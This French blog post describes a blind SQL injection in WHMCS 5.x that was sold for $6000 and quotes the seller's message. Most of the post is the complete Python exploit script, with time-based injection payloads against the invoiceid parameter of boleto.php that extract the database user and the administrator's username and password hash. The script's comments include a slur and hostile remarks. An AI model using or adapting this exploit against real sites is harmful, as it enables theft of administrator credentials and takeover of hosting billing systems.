lundi , 21 mai 2018
Breaking News

WHMCS 5.x Blind SQL Injection

Récemment WHMCS a été victime d’une attaque de social engineering qui a fait coulé beaucoup d’encre, malheureusement l’application dans sa dernière version en date WHMCS 5.0.3 souffrait d’une vulnérabilité de type Blind SQL Injection depuis septembre 2011, et qui a été en vente pour la coquette somme de 6000$

Le message laissé par le hacker à l’origine de la vente — février 2012 :

« No patches for it until now, vulnerability is a full blind SQL injection discovered by me. Wrote an exploit for it that works from command line which extracts admin hash from [database]. No need to decode md5 hash, can login directly with faking cookies. :)

Also can provide 3 methods to upload shell from the whmcs panel after logging in as admin. Will sell exploit to maximum 3 buyers.

-Price: $6k USD
-Payment Method: LR [Liberty Reserve] »

Le code de l’exploit WHMCS 5.x Blind SQL Injection à 6000$

########################################
# First found around September 2011~
# Kept 0day because killing bugs is cruise control for gay.
# Author: dx7r
# fuck off.
# Name: fuq.whmcs.py
# if you use this now, you're a moron. lots of love.
#######################################
# coz sqlmap sux.
import urllib
import urllib2
import time
import sys
#####characters tool checks for
usercharac = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','@','.','_','-','1','2','3','4','5','6','7','8','9','0']
userascii = [97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 64, 46, 95, 45, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48]

def usage():
print "    [+] python "+ sys.argv[0] + " domain/path/to/whmcs"

if (len(sys.argv)< 2):
usage()
quit()

domain = sys.argv[1]
#1' AND 9365=IF(SUBSTRING(current_user(),1,1) = CHAR(114),BENCHMARK(50000000,MD5(0x5767716d)),NULL) AND 'sIWA'='sIWA

#for i in range(0,len(usercharac)):
#    userascii.append(ord(usercharac[i]))
#print userascii

#do check to see how long username is
#then we have offset
#1' AND 9365=IF(LENGTH(current_user()) = '14',BENCHMARK(50000000,MD5(0x5767716d)),NULL) AND 'sIWA'='sIWA
def lengthmysqluser():
global length
found = 0
i = 1
length1 = urllib.quote_plus("1' AND 9365=IF(LENGTH(current_user()) = '")
length2 = urllib.quote_plus("',BENCHMARK(50000000,MD5(0x5767716d)),NULL) AND 'sIWA'='sIWA")
print "    [+] Finding length of current user"
while (found != 1):
start = time.time()
get = urllib2.Request('http://'+domain+'/modules/gateways/boleto/boleto.php?invoiceid=' + length1 + str(i) + length2)
execute = urllib2.urlopen(get)
elapsed = (time.time() - start)
if(elapsed > 1):
print "    Length found at position: " + str(i)
found = 1
length = i
print url
i = i + 1

def brutemysqluser():
print "    [+] Time to start bruteforcing the username with a length of " + str(length)
duser = []
i = 1
ascii = 1
length = length + 1 #so we can do a range(1,length)
getuser1 = urllib.quote_plus("1' AND 9365=IF(SUBSTRING(current_user(),")
getuser2 = urllib.quote_plus(",1) = CHAR(")
getuser3 = urllib.quote_plus("),BENCHMARK(50000000,MD5(0x5767716d)),NULL) AND 'sIWA'='sIWA")
for i in range(1,length):
found = 0
while(found != 1):
for f in range(0,len(userascii)):
start = time.time()
url = 'http://'+domain+'/modules/gateways/boleto/boleto.php?invoiceid=' + getuser1 + str(i) + getuser2 + str(userascii[f]) + getuser3
get = urllib2.Request(url)
execute = urllib2.urlopen(get)
elapsed = (time.time() - start)
if (elapsed > 1):
print "    Character found. Character is: " + usercharac[f]
duser.append(usercharac[f])
found = 1
print "    [+] Username found is: "
sys.stdout.write("    [+] ")
for i in range(0,len(duser)):
sys.stdout.write(duser[i])
print "\n"

#lengthmysqluser()
#brutemysqluser()
#mysql> SELECT * FROM tblinvoices WHERE id='1' UNION SELECT IF(SUBSTRING(username,1,1)='a',BENCHMARK(50000000,MD5(0x5767716d)),NULL),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 FROM tbladmins WHERE id=CHAR(49);
#sqli string:
#1' UNION SELECT IF(SUBSTRING(username,1,1)='a',BENCHMARK(50000000,MD5(0x5767716d)),NULL),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 FROM tbladmins WHERE id=CHAR(49);
#length
#1' UNION SELECT IF(LENGTH(username) = '5',BENCHMARK(50000000,MD5(0x5767716d)),NULL),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 FROM tbladmins WHERE id=CHAR(49);

def whmcsadminuser(length):
#1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,IF(SUBSTRING(username,1,1)=CHAR(97),BENCHMARK(50000000,MD5(0x5767716d)),NULL),16 FROM tbladmins WHERE '1'='1
print "    [+] Time to start bruteforcing the username with a length of " + str(length)
duser = []
i = 1
ascii = 1
length = length + 1 #so we can do a range(1,length)
getuser1 = urllib.quote_plus("1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,IF(SUBSTRING(username,")
getuser2 = urllib.quote_plus(",1) = CHAR(")
getuser3 = urllib.quote_plus("),BENCHMARK(50000000,MD5(0x5767716d)),NULL),16 FROM tbladmins WHERE '1'='1")
for i in range(1,length):
found = 0
while(found != 1):
for f in range(0,len(userascii)):
start = time.time()
url = 'http://'+domain+'/modules/gateways/boleto/boleto.php?invoiceid=' + getuser1 + str(i) + getuser2 + str(userascii[f]) + getuser3
get = urllib2.Request(url)
execute = urllib2.urlopen(get)
elapsed = (time.time() - start)
if (elapsed > 10):
print "    Character found. Character is: " + usercharac[f]
duser.append(usercharac[f])
found = 1
print "    [+] Username found is: "
sys.stdout.write("    [+] ")
for i in range(0,len(duser)):
sys.stdout.write(duser[i])
print "\n"

def whmcslength():
print "    [+] WHMCS exploit time! :)\n    [+] Grabbing admin user length"
found = 0
i = 1
length3 = urllib.quote_plus("1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,IF(LENGTH(username) = '")
length4 = urllib.quote_plus("',BENCHMARK(50000000,MD5(0x5767716d)),NULL),16 FROM tbladmins WHERE '1'='1")
while (found != 1):
start = time.time()
url2 = 'http://'+domain+'/modules/gateways/boleto/boleto.php?invoiceid=' + length3 + str(i) + length4
get = urllib2.Request(url2)
execute = urllib2.urlopen(get)
elapsed = (time.time() - start)
if(elapsed > 1):
print "    Length found at position: " + str(i)
found = 1
length = i
i = i + 1
whmcsadminuser(length)

def whmcsadminpass(length):
#1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,IF(SUBSTRING(username,1,1)=CHAR(97),BENCHMARK(50000000,MD5(0x5767716d)),NULL),16 FROM tbladmins WHERE '1'='1
print "    [+] Time to start bruteforcing the password hash with a length of " + str(length)
duser = []
i = 1
ascii = 1
length = length + 1 #so we can do a range(1,length)
getuser1 = urllib.quote_plus("1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,IF(SUBSTRING(password,")
getuser2 = urllib.quote_plus(",1) = CHAR(")
getuser3 = urllib.quote_plus("),BENCHMARK(50000000,MD5(0x5767716d)),NULL),16 FROM tbladmins WHERE '1'='1")
for i in range(1,length):
found = 0
while(found != 1):
for f in range(0,len(userascii)):
start = time.time()
url = 'http://'+domain+'/modules/gateways/boleto/boleto.php?invoiceid=' + getuser1 + str(i) + getuser2 + str(userascii[f]) + getuser3
get = urllib2.Request(url)
execute = urllib2.urlopen(get)
elapsed = (time.time() - start)
if (elapsed > 1):
print "    Character found. Character is: " + usercharac[f]
duser.append(usercharac[f])
found = 1
print "    [+] Password hash found is: "
sys.stdout.write("    [+] ")
for i in range(0,len(duser)):
sys.stdout.write(duser[i])
print "\n"

def whmcspasslength():
print "    [+] Grabbing admin password length"
found = 0
i = 1
length3 = urllib.quote_plus("1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,IF(LENGTH(password) = '")
length4 = urllib.quote_plus("',BENCHMARK(50000000,MD5(0x5767716d)),NULL),16 FROM tbladmins WHERE '1'='1")
while (found != 1):
start = time.time()
url2 = 'http://'+domain+'/modules/gateways/boleto/boleto.php?invoiceid=' + length3 + str(i) + length4
get = urllib2.Request(url2)
execute = urllib2.urlopen(get)
elapsed = (time.time() - start)
if(elapsed > 1):
print "    Length found at position: " + str(i)
found = 1
length = i
i = i + 1
whmcsadminpass(length)

whmcslength()
whmcspasslength()

N’hésitez pas à jeter un œil sur mon billet comment sécuriser un site WHMCS [disabled]

About Youssef BENKHOUYA

Born to be a NINJA

Check Also

Hack du Wifi sécurisé avec WPA/WPA2

Nous allons voir aujourd’hui comment il est possible de casser la sécurité d’un réseau sans …

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *